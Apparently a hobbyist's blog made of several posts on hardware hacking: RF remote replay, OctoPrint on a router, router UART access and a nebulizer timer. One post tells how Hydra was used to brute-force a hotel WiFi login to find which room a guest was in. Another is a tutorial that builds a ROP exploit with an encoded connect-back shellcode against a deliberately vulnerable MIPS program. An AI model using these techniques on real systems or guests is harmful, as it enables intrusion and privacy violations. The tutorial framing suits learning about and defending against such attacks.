I remember all the excitement years ago on sites like HackADay regarding software-defined radio. I wanted so badly to jump on the bandwagon, but couldn’t think of a reason. Jump to earlier this year when I was looking for another remote for my RF controlled fan (I inherited the RF fan control with the house). I wanted another remote because I’d turn on the light at the wall-mounted RF switch as I entered the room and wouldn’t think to turn it off until I was already in bed. A bedside remote seemed like a good, simple solution. The problem: I couldn’t find a remote that was guaranteed to work with my fan. Hunter seemed to create fan remotes willy-nilly rather than having all of their fans work with the same remotes.

I finally had my reason to get into SDR and for the low-low price of $12, no less! After some initial failed attempts and a long break, I tried again due to my new interest in home automation. This time I headed over to fcc.io and looked up the FCC ID (IN2TX31) and discovered a litany of information. It’s a truly great resource. Armed with the information that the remote broadcast its signals at roughly 434MHz, I used SDR# (my linux install was busted at the time) and tuned in. Sure enough, I saw a blip each time I pressed a button on the fan’s transmitter. I didn’t know exactly what to do with this, though. A friend suggested I output the file and read it with something like Audacity. BITS!

Lots of bits. Too many bits to transcribe by hand. After watching a few of Samy Kamkar’s videos on YouTube, I checked out a tool called rtl_433. I started the tool in analyze mode and, after changing the frequency to 433.92MHz, I was getting consistent hex values for each key. I then attempted to correlate those values with the bit sequence in the wav file.

Beginning of rtl_433 output: 0000 0000 0001 0100 0101 1110 0110 0110 1011 1101 0000 1111 1001 0111

Beginning of rtl_433 output: 0000 0000 0001 0100 0101 1110 0110 0110 1011 1101 0000 1111 1001 0111

Pretty darn close! The preamble isn’t picked up correctly, but at least the majority of the command was decoded by rtl_433 so that I don’t need to figure it out by hand. The next step was to get a transmitter. Fortunately, 433ish MHz is pretty common and transmitters are cheap and readily available. I bought some that even came with receivers for a few bucks off Amazon. They’re super simple to operate. 3 pins: vcc, ground, and data. I hooked it up to my Raspberry Pi, wrote a quick python script to send a signal to the data pin, and ran it while I watched SDR#. Success! Wow, that was easy. Just a sanity check, but it was reassuring.

The next step was to write the script. This took some trial and error. The 3 fan speed buttons send a sequence twice, the light and fan-off buttons send 2 sequences twice. Each sequence sent has a preamble and begins the same way. I determined the approximate width of a pulse by highlighting the shortest high pattern in Audacity, looking at the number of samples, and dividing the number of samples by the sample rate. I crossed my fingers hoping the receiver wasn’t too strict (it isn’t). The shortest high pattern appears to be the same width as the lows that separate the signals. Armed with this information and guessing that a zero was the width of 2 ones, I created the script. I used the Audacity sample calculation to determine the delay between the resend of the signals too.

1,269 / 3,200,000 ~= 0.0004 seconds

In the image above, Audacity is displaying at a sample rate of 3.2 million samples per second. If we highlight the smallest pulse, we see that it consists of roughly 1,269 samples. So we have samples and samples per second, which means we can easily calculate the number of seconds (or in this case fractions of a second) a pulse is. 1,269 samples / 3,200,000 samples / second ~= 0.0004 seconds.

Now that the script was roughed out, it was time to see if the Pi was sending some semblance of a binary sequence. I started recording and ran the script. It looked good! Unfortunately, the fan didn’t react at all. What could it be? Maybe the transmitter was too weak or maybe the signal timing was off. Those are two real possibilities that would be difficult to prove and/or correct. I decided it was best to first compare the signals sent by the Pi with those sent by the remote. Hmm, the commands sent from the Pi are slightly different.

I made the necessary changes and ran the script. To my surprise, the fan turned on! I went through the same steps to get the rest of the buttons working. It was time for bed and I was happy with the progress I’d made. In the days that followed, I figured out how to run the script via the home automation software I’m using (Home Assistant). No more getting back out of bed to turn off the light or control the fan! I also plan to set up an automation that turns the fan off if the temperature (reported by my Nest thermostat) drops below a certain temperature.

The source code for this project can be found here. I did my best to explain how the script works. Below is an example of one of the “double” commands (either light or fan_off, I can’t remember).

 

 

Rescued WiFi Router Turned 3D Print Server!

On January 27, 2015, in Projects, Tutorial, by Matt Defenthaler

I’ve been using the heck out of my Makerfarm i3v 10″ ever since it arrived back in November. It’s a solid kit and Colin at Makerfarm quickly responds to emails (that’s worth a lot to me even though I only had to bug him once.) Out of the box it comes with two ways to drive it: 1) a computer connected via USB and 2) the provided SD card and LCD interface. I use my laptop for modeling in addition to non-3D printing stuff, so having it tethered to the printer got old fast. Enter OctoPrint. OctoPrint is a Python project that communicates with the printer via USB, but also provides a web interface for controlling the printer, viewing its status, and uploading files. A lot of people run it on a Raspberry Pi. It’s a perfect use-case for such a device. Why not go with that? It’s well-supported and cheap enough, right? That’s just not how I roll.

The way I roll: Hey, all of OctoPrint is in Python and I know I can get the orphan Netgear running Python and the router has a USB port… New project!!

 

router3DPrintServer

The following is what’s involved in general and is not a step-by-step guide.

Device: WNDR3700v1 (originally found wet, cold, and bricked in a dumpster)
Hardware: 4GB USB stick + USB hub (passive is just fine)
OS: OpenWrt Chaos Calmer (from here https://forum.openwrt.org/viewtopic.php?id=50914) (default password: changeme)
Software: OctoPrint + dependencies (Download from here)

First, figure out how to get OpenWrt on your router. There’s a tutorial on the web somewhere. (side note: I tried DD-Wrt, but had trouble getting the USB drivers installed, so I switched to OpenWrt.)

You’ll have to start with a connection to one of the LAN interfaces on the router, but we of course want to make things wireless and it makes it a lot easier to download packages and change settings when the router is configured as a client of our home WiFi network. Go ahead and configure that in LuCI before continuing. NOTE: The wwan interface must be on the same subnet as your WiFi network, but you’ll want to change the LAN interface to be on a different subnet! It took me a while to realize why I couldn’t hit the wwan IP from my WiFi network. In the end I set the LAN interface to a static 192.168.2.1 and the wwan to a static 192.168.1.200 (my WiFi network is on the 192.168.1.1/24 subnet).

Next, since the router doesn’t have enough internal storage for our needs, we need to get USB storage working. Most routers will only have one USB port and we need two (one for the flash drive we’ll connect and one for the printer), but through the modern wonder that is USB, a hub gives us more ports. The USB drive needs to be formatted. It’s probably a good idea to give it at least two partitions (one big one for storage and the other for SWAP), but I went with just one for storage. I used ext4 (ext2 should work too, but don’t use ext3 because it will wear out your drive). Plug the hub into the USB port on the router and the flash drive into one of the hub’s ports. Next, add it as a mount point through the OpenWrt luci web interface by going to System > Mount Points and click the “Add” button under the Mount Points section. Check “Enable this mount” and choose the device, then select the Filesystem. When you select the Filesystem, a “

Now that we’ve extended the device’s storage with the flash drive, we have room for the necessary software. Let’s SSH into the router (root@yourroutersip) and get package management (opkg) set up. There might be extra steps or it might work out of the box. Try running opkg update and see what you get. Resolving opkg issues is beyond the scope of this post. We need three packages from opkg – python, python-setuptools and kmod-usb-acm. kmod-usb-acm is the driver for the printer (aka Arduino Mega 2560).

opkg install python python-setuptools

kmod-usb-acm failed for me with the normal install command (something about a kernel version mismatch even though the kernel version matched). I used the force-depends argument and everything worked fine. I suggest trying it without first, though.

opkg install kmod-usb-acm --force-depends

Connect the end of the printer’s USB cable to the USB hub and reboot the device either through the web interface or by typing reboot in the terminal. Once the device is back up, SSH back in and run ls /dev . If the ACM USB driver is working, you should see ttyACM0. If you don’t see it, do the usual dmesg | tail to troubleshoot.

The next step is to install OctoPrint on the router. I could not get python-setuptools to connect to HTTPS sites (I’m sure it’s something simple, but it was distracting from proving the concept of getting OctoPrint running on a router.) Instead, I downloaded the packages to my laptop and scp’d them to the router and found the order of operations by trial and error. Don’t worry, you won’t have to because I documented the process and have provided a file containing everything you need 🙂

The last step is to tell the router to start OctoPrint on boot. To do that,
we’ll add a command to the /etc/rc.local startup script.

octoprint --iknowwhatimdoing &

That argument is there since you normally don’t want something to run as root, but sometimes (like when that’s the only account there is) you have to. The command will start OctoPrint on port 5000 (add a –port=PORT_NUMBER argument if you want it on a different port) when the router boots.

Reboot the router and try accessing http://yourrouterswwanip:5000. You should see the OctoPrint page. Configure your connection. The /dev/ttyACM0 device should be in the dropdown.

Enjoy your (now wireless) 3D printing!

 

 

Find a hotel guest’s room via WiFi

On November 19, 2013, in Uncategorized, by Matt Defenthaler

My aunt was visiting DC during the shutdown and decided to end her trip early because there was no end in sight (not to mention the weather wasn’t great either.) She was kind enough to offer the remaining night of her stay to my girlfriend and I (we live just outside of DC.) My aunt gave me a key and the room number and my plan was to meet my girlfriend at the hotel after work. Since she works in DC, she got there first and texted me for the room number. Unfortunately, I’d saved it in an app that I forgot to backup before upgrading the ROM on my phone. I remembered the floor and the last digit of the room number, but couldn’t remember the 10s digit. Not being one to risk getting in trouble for things, my girlfriend waited for me and we tried a couple of rooms before getting in. The rest of the night was spent eating Chinese food, watching some shows online and on TV.

The next morning we woke up and she had to go to work, but I had some hours to kill. Then it dawned on me! All that was required to sign into the complimentary Internet was the last name of the person on the reservation and a room number. Looking at that a different way, if you wanted to find out if someone with a particular last name was staying in a particular room, whether or not access was granted is your true or false. It’s not all that useful to do one at a time, but I had my laptop with me and a VM running BackTrack, so scripting was an obvious option. After some research and trial and error, I managed to write a script using Hydra, a program normally used for brute-force logon (i.e. username and password) attacks. Essentially, you give Hydra a username, a list of passwords, what the username and password fields are named in the HTML form, and a string that is expected to be found if the login was unsuccessful. Hydra runs through the password (or in my case, room number) list and checks the response for the unsuccessful login string. If that string isn’t found, Hydra will print out the username and password combination that produced that response.

In addition to the fields mentioned above, there were some extra fields and a cookie that I included since I could see them being part of the request via Chromium’s developer tools. Another thing to note is that Hydra worked well only for about 10 room numbers per script run.

This was at a popular hotel in Washington D.C. and I believe it to be a major privacy vulnerability due to potential guests of the hotel. I can’t think of any bullet-proof ways around it, but simply putting a limit on the number/frequency of attempts for the same last name and different room numbers could go a long way.

Other use cases include using a common last name to 1) get free WiFi from the hotel without being a guest and 2) charging items to that person’s room.

 

MIPS Buffer Overflows with Bowcaster

On October 13, 2013, in Tutorial, by Matt Defenthaler

This post should be capable of walking a novice through the process of exploiting a buffer overflow vulnerability on a MIPS platform. However, I’m actually writing this for myself since I’ve found that forcing myself to teach others is a great way to make sure I completely understand the concepts. We will be using a wonderful utility framework developed by Zach Cutlip called Bowcaster. Zach also has a tutorial of his own that contributed to my understanding of both MIPS exploitation and the use of his framework.

A note about Bowcaster:
Bowcaster is a utility written in Python that provides a nice API for organizing, documenting, and crafting exploits for the MIPS architecture. It is open source and extremely well-documented. It includes utilities that range from creating an initial patterned string useful for identifying offsets at which to place parts of an exploit to an XOR encoder to some near universal shellcode payloads. It also works with both big and little endian MIPS.

The basic process will be as follows:

  1. Get our MIPS emulator (qemu) running
  2. Install some essential utilities (gcc, gdb)
  3. Write a vulnerable application in C and compile it
  4. Explore the process of crafting an exploit
  5. Get a remote shell!

Firstly, we can’t rely directly on the x86 processor running our PC, so we have to install an emulator that understands MIPS. Zach put together a pretty good tutorial on compiling and running Qemu in an Ubuntu VM. Follow that before moving forward. NOTE: I used Ubuntu 12.04 in my VirtualBox VM and didn’t run into any major differences. Also, I will be using the mipsel (LSB, little endian) kernel and filesystem image in this tutorial, but the principles are essentially the same with big endian MIPS.

Once you have Qemu running Linux, go ahead and run (at the time of this writing apt-get pulls in gcc 4.4.5 and gdb 7.6)

apt-get install gcc gdb objdump

Open a text editor (nano and vi are there. I apt-get installed ‘mg’ which is a small emacs clone)

nano Vuln.c

insert the following C code and then save and exit (Ctrl+x followed by y if you’re in nano)

#include <stdio.h>

GetInput()
{
    char buffer[512]; // the buffer we'll overflow

    gets(buffer); // gets is a vulnerable function because it stores input 
                  // into a buffer even if the buffer is too small
}

main()
{
    GetInput();

    return 0;
}

Next, we’ll compile the program:

gcc -ggdb -o Vuln Vuln.c

That should produce the Vuln file which is our vulnerable program. (-ggdb compiles with debug symbols which will make it easier to navigate our code)

Now that we have our vulnerable executable, we can focus on the exploit side of things and start getting into Bowcaster.

First, a note about what we’re doing:

Essentially, our vulnerable program only sets aside a certain amount of memory for user input. However, it puts no limitation on how many characters the user wants to input. As a result, if the user inputs more characters than the amount of memory allocated for the input, the input will overflow into an area outside what the program expects and will overwrite areas the program assumes were beyond what our buffer would need. This gives us the ability to overwrite areas of memory in a specific way that allows us to control what the program does.

The first part of memory we’re interested in controlling is the return address of the GetInput() function. In order to discover the location of the portion in our input string that will overwrite the return address, we use Bowcaster to create a large string of a unique pattern of characters. We can then run our program with gdb and check the value that gets copied into $ra (return address register) and then determine its location in our input string.

First, open up your editor

nano PatternMaker.py

Now code up the following script that will output our patterned string to a file

from bowcaster.development.overflowbuilder import OverflowBuffer
from bowcaster.common.support import LittleEndian

buf = OverflowBuffer(LittleEndian, 2048)

# create a file called 'bof' and write a 
# 2048 character patterned string to it
f = open('bof', 'w')
f.write(str(buf))
f.close()

Save the file and close the editor. Then, run the script

python PatternMaker.py

If you list the directory, you should see a new file called ‘bof’.

Next, open Vuln in gdb so we can debug it.

gdb Vuln

Before we run the program, we want to set a breakpoint just before GetInput() returns. List the program’s code by typing list and find out which line contains gets() in the GetInput() function.

Put a breakpoint at that line by entering (replacing the caps stuff, obviously)

b PUT_THE_LINE_NUMBER_HERE

Next, we’ll run Vuln using the contents of ‘bof’ as input

run < bof

The program should now be stopped at the breakpoint. Just for reference take a peek at $ra by running

info registers

At this point, $ra has not yet been overwritten. However, the call to gets() will put the contents of ‘bof’ on the stack and, when GetInput() resumes, it enters its epilogue which is depending on information stored on the stack to know which function it should return to (in this program, main() called GetInput(), so the return address should be the address of the instruction in main() that called GetInput()).

If we run the following command, we can determine where to add another breakpoint in order to view the value that got loaded into $ra

disas GetInput

Find the line near the bottom that contains the instruction ‘ jr   ra ‘. Use the hex address of that instruction to set a breakpoint.

b *0xADDRESS

Resume execution by typing continue and hitting enter. The program should pause at the new breakpoint and we can run info registers to check the new value of $ra. Copy $ra ‘s value because we’ll need it in a second.

Type quit into the gdb prompt and allow it to exit. Then, create a new file called PatternFinder.py and add the following to it:

import sys
from bowcaster.development.overflowbuilder import OverflowBuffer
from bowcaster.common.support import LittleEndian

buf = OverflowBuffer(LittleEndian, 2048)

# open the 'bof' file created by PatternMaker.py
# and put its contents in buf.overflow_string
f = open('bof', 'r')
buf.overflow_string = f.read()
f.close()

search_value = sys.argv[1]
value = int(search_value, 16) # convert the hex string to an int
offset = buf.find_offset(value)
if offset < 0:
    print "Couldn't find value %s in the overflow buffer" % search_value
else:
    print "Found value %s at\noffset: %d" % (search_value, offset)

Save, exit, and run the following where the last argument is the value you copied from $ra

python PatternFinder.py VALUE_FROM_RA

The script should print out the location of the value from $ra in ‘bof’. Since our input string overflowed into memory beyond what was allocated for it, when the epilogue of GetInput() loads what it believes is the return address into main() that it stored in the prologue, it actually copies part of ‘bof’ into $ra. This means that we have control over where the program goes after GetInput()!

Now we’ll begin crafting our exploit, but first, a note:
This particular exploit will be using a ‘return-oriented programming’ (ROP) attack. We’ll be searching for blocks of assembly code we can tie together via controlling jump or branch instructions. These blocks of code will fill registers with values from the overflowed positions on the stack, call functions, pretty much whatever we want. The blocks of code ending in jump/branch instructions that we will tie together to build our exploit are called ROP gadgets. Since we’re relying on libc for gets(), we can take advantage of the fact that our program has access to all of libc. Using an external library like libc has a couple of advantages. One advantage is that large libraries give us more potential ROP gadgets, which is especially useful when the vulnerable binary is very small (like the one in this tutorial). Another advantage is that libraries’ text segment addresses are less likely to contain null characters due to them generally being loaded at higher addresses than the vulnerable executable (for instance, Vuln’s text segment starts with a null character: 0x00400000). It is important to account for null characters and other ‘badchars’ because input to programs is generally terminated at the first sign of one and that means the input beyond that character will be ignored. Because we’re using the included libc library for our exploit, this is technically a ‘return-to-libc’ technique.

In order to use a library like libc, we need to find the address of its text segment in the memory for our program. First, start Vuln in the background, then use the process ID to look up the base address for libc’s text segment. Feel free to terminate Vuln once you’ve found the address.

root@debian-mipsel:~# ./Vuln &
[2] 3123
[2]+ Stopped ./Vuln
root@debian-mipsel:~# cat /proc/3123/maps
00400000-00401000 r-xp 00000000 08:01 578741 /root/Vuln
00410000-00411000 rw-p 00000000 08:01 578741 /root/Vuln
2aaa8000-2aacb000 r-xp 00000000 08:01 261992 /lib/ld-2.11.3.so
2aacb000-2aace000 rw-p 00000000 00:00 0 
2aada000-2aadb000 r--p 00022000 08:01 261992 /lib/ld-2.11.3.so
2aadb000-2aadc000 rw-p 00023000 08:01 261992 /lib/ld-2.11.3.so
2aadc000-2ac42000 r-xp 00000000 08:01 261990 /lib/libc-2.11.3.so
2ac42000-2ac51000 ---p 00166000 08:01 261990 /lib/libc-2.11.3.so
2ac51000-2ac5a000 r--p 00165000 08:01 261990 /lib/libc-2.11.3.so
2ac5a000-2ac5c000 rw-p 0016e000 08:01 261990 /lib/libc-2.11.3.so
2ac5c000-2ac6f000 rw-p 00000000 00:00 0 
7f94f000-7f964000 rwxp 00000000 00:00 0 [stack]

The libc text segment’s base address is 0x2aadc000 (notice the ‘x’ in the privileges). Note that yours may be different.

Now we’re ready to begin writing our exploit generation script. Start by opening a new file called Exploity.py in your editor and add the following to it.

from bowcaster.development.overflowbuilder import SectionCreator, OverflowBuffer
from bowcaster.common.support import LittleEndian

qemu_libc_base = 0x2aadc000
badchars = ['\0','\n']
SC=SectionCreator(LittleEndian, base_address=qemu_libc_base, badchars=badchars)
sections=[]

Save and exit.

Next comes the cumbersome, but kinda fun part. We have to look through disassembled libc to find the ROP gadgets we can tie together that will execute some shellcode. To save time, I like to save the output of objdump -d /lib/libc-2.11.2.so to a file and then open it with less for searching for ROP gadgets. It’s really easy to search using regular expressions in less, too.

The goals of our ROP gadgets are as follows:

  1. Load values from the stack into as many of the s-registers (s0-s8) as we can and into $ra
  2. a) Set up $a0 with a low value, b) set register to address of sleep() in libc, c) jump into register
  3. Store a location relative to the stack pointer ($sp) into a register
  4. Use that register (or one that its value was copied into) in a jump instruction

(1) lets us put 4-byte segments of ‘bof’ into the s-registers. If we need an s-register to hold a certain value, we just pass the value of the register into PatternFinder.py and use the returned offset to tell our exploit script to load a different, more useful value in its place. The same goes for $ra, which we’ll replace with the the address of the ROP gadget we’ll use for (2).

(2) The a-registers are used to store arguments that a function is called with. sleep() needs an argument in $a0 to know how many seconds to sleep. Why sleep()? Well, our buffer overflow contents are currently in the data cache (as opposed to instruction cache) and can’t be executed. sleep() causes a context switch and must push all of the cache back into main memory. Once the overflow’s contents are in main memory, there’s no telling if it was data or instructions (exactly what we want).

(3,4) Because the stack is randomized (subsequent runs of the same program will cause the stack to be loaded at a different address), we have to ‘find’ the stack by storing a relative reference to it in a register and then use that register or one that receives its value in a jump instruction. Once a ROP gadget to locate the stack is found, we can use gdb to step through Vuln and determine what part of ‘bof’ exists at that location, feed it into PatternFinder.py and add our shellcode at that offset in ‘bof’. This is assuming that the relative stack position our ROP gadget uses actually contains data overflowed from ‘bof’. If it doesn’t, it’s back to searching through assembly to find a gadget that does.

NOTE: Sometimes shellcodes are long and the relative stack position might not give enough room to fit the shellcode before overwriting a different offset we were already using in ‘bof’. I will leave the solution to this as an exercise for the reader. Hint: once you can execute shellcode, you can tell the program what assembly to execute (you don’t have to rely on it already being there like with the ROP gadgets).

The remainder of the process will require stepping through arbitrary locations of libc. Since gdb isn’t expecting a user to jump into the middle of a function, I’ve found it helpful to run the following before returning the first ROP gadget.

display/i $pc
stepi

This will show the next assembly instruction to be executed and will repeat with each consecutive step.

It’s also useful to display what is in a register or at a memory address. There are a ton of formats for displaying values in gdb, but the two most useful are below and are for instructions and 4-byte words as hex, respectively.

x/i $pc+4
x/wx $s0

Once we can jump to a relative stack location, it’s time to use some shellcode. Fortunately, Bowcaster comes with some some useful shellcode utilities. The one we’ll use here is a connect-back shell. We just give it an IP to connect back to and the endianness. For simplicity’s sake, the connect-back IP can be that of the host (as opposed to the target which is running in qemu). Since our host’s IP contains a 0, we need to use the provided XOR encoder. The encoder performs an XOR operation on the connect-back shellcode with a randomly generated key and then includes a decoder in the shellcode to reverse the operation upon execution on the target. This is all necessary to prevent our overflow string from being terminated at the first bad character.

Append the following to the bottom of Exploit.py (the imports can be placed at the top of the file if desired and make sure to replace YOUR_OFFSET_HERE with the offset in ‘bof’ to insert the shellcode):

from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload
from bowcaster.encoders.mips import MipsXorEncoder

payload=ConnectbackPayload("10.0.2.15",LittleEndian)

#XOR encode the payload
encoded_payload=MipsXorEncoder(payload,badchars=badchars)

section=SC.string_section(YOUR_OFFSET_HERE, encoded_payload.shellcode, "encoded connect-back payload")
sections.append(section)

# create the OverflowBuffer and fill it with our ROP gadgets and shellcode
buf = OverflowBuffer(LittleEndian, 2048, sections)
f = open('bof', 'w')
f.write(str(buf))
f.close()

Assuming the contents of ‘bof’ contain all the necessary ROP gadgets and the connect-back shell shellcode at the appropriate locations, you open a terminal on your host machine and run:

nc -l 8080

This listens for an incoming connection on port 8080 (the default port of the connect-back shell). Next, on the qemu mipsel target, run:

python Exploit.py
cat bof | ./Vuln

The program should appear to be hanging. Once you’ve achieved that, go back to the host terminal where nc -l 8080 is running. It, too, should be appear to be hanging. However, neither of the processes is hanging and if you type ls or date or another command into the host terminal, you’ll notice you’re actually in a shell on the target! Hitting Ctrl+c in either terminal will end the session. It should be noted that Bowcaster also includes a connect-back server class that provides a lot more flexibility than just using netcat.

References:
A great overview of MIPS and exploiting MIPS devices
Walk-through of a real-world MIPS exploit by Craig Heffner (one of many posts)
Walk-through with Bowcaster by its author Zach Cutlip (one of many posts)

Attachments:
Exploity.py –  contains spoilers and I highly recommend you only view this as needed in order to truly learn and understand the process detailed above

Special thanks to Zach for reviewing this tutorial and providing me with more accurate info about a couple of things I goofed up or could have been more clear about in the original post.

Tagged with:
 

WNR-1000v2 UART Communication through Bus Pirate

On August 23, 2013, in Uncategorized, by Matt Defenthaler

Connect the bus pirate’s MISO (rx), MOSI (tx), and Ground pins to the UART header on the router as shown [ NC | MISO | MOSI | GND ]:

wnr1000v2UARTpinout

 

Log into minicom or another terminal and use the following settings…

Set the mode to UART
HiZ> m
1. HiZ
2. 1-WIRE
3. UART
4. I2C
5. SPI
6. 2WIRE
7. 3WIRE
8. KEYB
9. LCD
x. exit(without change)
(1)> 3

Set the baud rate to 115200
Set serial port speed: (bps)
1. 300
2. 1200
3. 2400
4. 4800
5. 9600
6. 19200
7. 38400
8. 57600
9. 115200
10. BRG raw value
(1)> 9

Set 8N1, idle 1 (defaults)
Data bits and parity:
1. 8, NONE *default
2. 8, EVEN
3. 8, ODD
4. 9, NONE
(1)>
Stop bits:
1. 1 *default
2. 2
(1)>
Receive polarity:
1. Idle 1 *default
2. Idle 0
(1)>

Set output type to use 3.3V & Ground
Select output type:
1. Open drain (H=Hi-Z, L=GND)
2. Normal (H=3.3V, L=GND)
(1)> 2
Ready

Now, exit minicom without resetting and you’ll have access to the router’s file system.

 

Hacking the LG Wireless Media Kit AN-WL100W

On July 22, 2013, in Projects, by Matt Defenthaler

Note: This is mostly an aggregation of information from others

History

The LG Wireless Media Kit ( AN-WL100 ) was manufactured by LG for the purpose of wirelessly transmitting video and audio from a variety of sources to an LG-branded TV. There is a base station that connects to the source and a ‘dongle’ receiver that connects to the display. A proprietary 20-pin connector goes between the LG-branded TV and the dongle. LG eventually discontinued the unit and many places began selling the device (originally $400+) for about $20. This made the unit affordable for hackers to buy to play around with. It was soon discovered that the dongle could operate with only power (about 20v) going to it. This requires splicing the cable and instructions are detailed in one of the links below. Continued hacking occurred and communication over the 3.5mm service port opened up methods to control the box and its functions. I’ve consolidated some of the information I’ve found useful and have placed it below.

 

My particular purposes involve splitting an HDMI signal from my HTPC to view it on a TV in the living room as well as one in the bedroom. In order to split the cable, I used this HDMI splitter (don’t forget cables if you need them)

 

Getting power to the wireless dongle

Splice power into the 20-pin dongle (Ryan Matthews’ G+ post)

 

Utilize the service port:

The service port that looks like a headphone jack (because it is) is an interface to a serial transceiver.

DB9 to TRS

DB9 to TRS

  • To communicate, we need a serial terminal application
    • I’ve used gtkTerm on Ubuntu and RealTerm on Windows
      • If using RealTerm, click on the ‘Port’ tab
      • Set the following:
        • baud rate: 9600
        • select the correct port
        • stop bits: 1
        • flow control: none
        • data bits: 8
      • I like to see what I’ve typed, so I normally turn on ‘local echo’ (mislabeled as half-duplex in RealTerm)
  • The commands to send are listed in this appendix of an LG manual
    • I have my HDMI source connected to HDMI1, so sending xb 00 70 will switch if need be
    • The overscan was initially pretty bad, so I sent kc 00 09 to fix the issue (still not perfect, but it’s ok)
    • I’ve written a Python script to send commands without a full-blown serial terminal
  • Debug mode allows for access to the Linux shell running on the transmitter (it gives a lot of control and should be used with caution)

 

Misc Info

  • If your display looks funny after turning off/on, put a piece of tape (electrical or other) over pin 19 (Hot Plug Detect) on the HDMI cable end going into the wireless dongle
hdmi cable pinout

http://www.hdmi.org/installers/insidehdmicable.aspx

 

 

 

 

Tagged with:
 

While talking to my father one afternoon, he mentioned that my grandmother was having trouble remembering to use her nebulizer. Due to the fact that the purpose of the nebulizer is to assist in providing the body with the amounts of oxygen it can no longer collect on its own and the fact that lack of oxygen has a direct impact on brain function, a ‘catch-22’ scenario arises. I, as always, tried to solve the problem.

All she really needed was an alarm that would reset itself to a time four hours in the future after she used the nebulizer. Simple enough. It also shouldn’t require her to learn anything new and should only operate during her waking hours. I also wanted it to be battery operated and as such, capable of lasting at least a year without recharging. Before spending the time and effort required to create something from scratch, I tried to find an off-the-shelf product that fit my requirements. Sadly, I could not find anything that met all of these requirements. In all honesty, if it was easier to find an electronic organizer –from days of old — that allowed me to run user-created programs, I’d have done that in a heartbeat. Alas, I set off to research which microcontroller would fit the bill.

Initially, I planned on using the Arduino. I’ve used it for a dozen past projects and I really like the community support and Processing ( the middleware language it uses ). Unfortunately, they still cost nearly $30 a piece and aren’t exactly power-sippers out of the box. A friend suggested taking a look at the TI Launchpad due to its low cost and focus on minimizing power consumption. I did and was sold! Power consumption could drop into the microamp range as opposed to the milliamp range and doing so was both supported and encouraged with the Launchpad. It also has a built-in realtime clock (RTC) function that allows me to keep track of what time it is without the need for any external components. Additionally, USB serial support can remain intact without drawing power for the programming circuitry. This means that updates should be possible over USB if a bug is found or an enhancement needs to be made. This is one of my other obstacles. I’m currently living near D.C. and my grandmother lives in south Florida. I won’t be able to do much troubleshooting remotely, so a maintenance-free (or very low maintenance) device is highly desirable.

The basic flow:

  • Beginning of Day alarm goes off
    • Set countdown timer alarm
  • Countdown timer alarm is hit
    • Turn on buzzer sound
    • If button is not pressed within 10 minutes, turn off buzzer and set the alarm for an hour from now
  • Button is pressed
    • Turn off buzzer sound
    • Reset countdown timer
  • End of Day alarm is hit
    • Remove countdown timer

Version 1.0

How Premature Optimization Was the Root of Failure

Writing the logic for a dynamically-set alarm that will only be triggered only during a certain hour range and reset to the start hour otherwise was more difficult than I imagined it would be. The Launchpad contains registers for its RTC functionality that store year, month, day, hour (12), minute, second, and AM/PM. The 12HR time makes things tricky. It requires extra logic for crossing the AM/PM divides when adding hours to the current time to set the next alarm. It also means that, in order to keep things simple, I had to write somewhat inflexible code that currently lacks support for scenarios outside of my specific use-case. It should be noted that the RTC library from TI provides a function get24Hour( ), but it requires 23 clock cycles per call ( documented here ). It wouldn’t matter so much if we rarely hit it, but it’s hit it every second to check if the current hour and the hour to turn on the alarm are the same. Instead, I decided to compare the values in the registers holding the hour and PM values since the reading and comparison operations should only take one clock cycle each and, thus, should not require as much power.

Update: The actions and goals described above were a smidgen more aggressive than necessary and greatly made spaghetti out of my code. Despite having tested many scenarios as I coded, I did not do a full regression test prior to sending the device off. My decision to ship so soon was due to my eagerness to put a solution in place, but has cost my grandmother more time without a solution as the initial version was buggy due to improper comparisons with BCD hours. Another very interesting lesson I learned from this initial release was about users: despite one’s best efforts, a user will always do something unintended. As I mentioned above, I wrote the program in a way that accounted for time of day and did not allow the alarm to be set during the hours that my grandmother is normally asleep. Despite my father having explained this to my grandmother, she believed it necessary to disconnect the buzzer from the board. This is not such a big deal except that the device’s exact purpose is to help someone who forgets to do things (in this case that would probably be plugging the buzzer back in).  The reason this is of such great interest to me is that I had not even considered the possibility of it happening.

Version 2

As I noted in the update to Version 1, there was a major bug with the Binary-coded Decimal (BCD) representation of the hours. The number retrieved from TI_hour or get24Hours( ), is in BCD. BCD is simple enough to understand, but conversion of BCD into decimal and vice versa isn’t so trivial. Basically for the purposes of dealing with the hours on the Launchpad, BCD representation is just each digit of a decimal number coded into 4 bits. So, 11pm would be hour 23 and the BCD representation of 23 is 0010 0011. This is also 0x23 in hex. Addition is where things become more complex. Since each digit must be within the range 0 – 9, something must be done if the sum of two numbers is greater than 9. For a solution to this, please refer to the Wikipedia link in the first sentence. Unfortunately, I did not have as good a grasp on these concepts when I shipped Version 1 off. I was also unaware of the _bcd_add_short( … ) method. I did get some help from reading this 43oh.com post and ended up using the convertToBinary( … ) method which converts decimal to BCD more efficiently. By using this method to get variables in like-units and using get24Hour() , I was able to clean up much of my code and, as a result, make it easier to trace through and understand. So how was power consumption affected by using these higher level methods rather than doing register comparisons? Honestly, I have no idea. The fact is, my multimeter is telling me it’s consuming 3.5 microamps and that’s roughly what I was getting before. All of my time spent prematurely optimizing was a complete waste!

P1100502

Tagged with:
 

WiFi TV Remote and Creator

On December 31, 2012, in Projects, by Matt Defenthaler

I gave up on cable TV and all of its outmoded interfaces for what will probably be the final time. The entire world has changed, yet cable box interfaces are stuck in the same time-warp that things like restaurant POS systems seem to be in. Rather than go into a rant, this entry is about how I’ve put together my own TV experience.

Step One: Give the cable box back to Verizon and put a PC in its place.
Some people go all out on this step. I just wanted a decent machine that had a decent amount of memory, HDMI out, and a 1TB hard drive.

Step Two: Figure out which media center application to use
I’ve been through many of them. I tried Boxee, XBMC, Plex, Kylo, and probably some I’ve forgotten about. XBMC is great if you have a library of media and a degree in Engineering. Boxee is a good, simple interface, but I think it’s going away if it hasn’t already. Kylo is a customized browser for viewing web content, but after it seemed Hulu was actively trying to block them, I continued looking again. I use Plex. It works well for streamed content and has a fairly intuitive interface.

Step Three: Figure out how to control it all from the couch
